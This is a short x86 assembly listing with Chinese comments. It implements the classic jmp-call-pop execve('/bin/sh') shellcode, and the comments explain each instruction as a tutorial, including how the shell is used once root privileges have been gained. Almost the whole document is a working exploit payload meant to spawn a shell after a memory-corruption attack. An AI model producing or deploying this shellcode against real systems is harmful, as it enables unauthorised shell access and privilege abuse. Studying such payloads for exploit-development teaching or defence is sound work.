Section .text

  global _start

_start:

  jmp short     callShellcode

shellcode:

  pop           esi				//将’/bin/sh’从栈中取出，放到esi里

  xor           eax, eax			//eax置为NULL

  mov byte      [esi + 7], al		//因为eax置空了，所以用al里的NULL来结束’/bin/sh’字符串

  lea           ebx, [esi]			//将’/bin/sh’字符串放入ebx中

  mov long      [esi + 8], ebx		

  lea           ecx, [esi + 8]		//这两步是把argv数组写入了ecx，如果没有这两步，就算程序获得了root权限，也不能执行命令，不信可以去掉试试

  mov long      [esi + 12], eax

  lea           edx, [esi + 12]		//这两步是把eax中的NULL写入了edx，得到root权限后执行的命令需要有NULL来结束（因为命令也算是字符串）

  mov byte      al, 0x0b			//最后这一步是执行execve，0x0b=11，是execve的系统调用号（可查）

  int           0x80				//最后必须用0x80结尾

callShellcode:

  Call          shellcode

  db            '/bin/sh'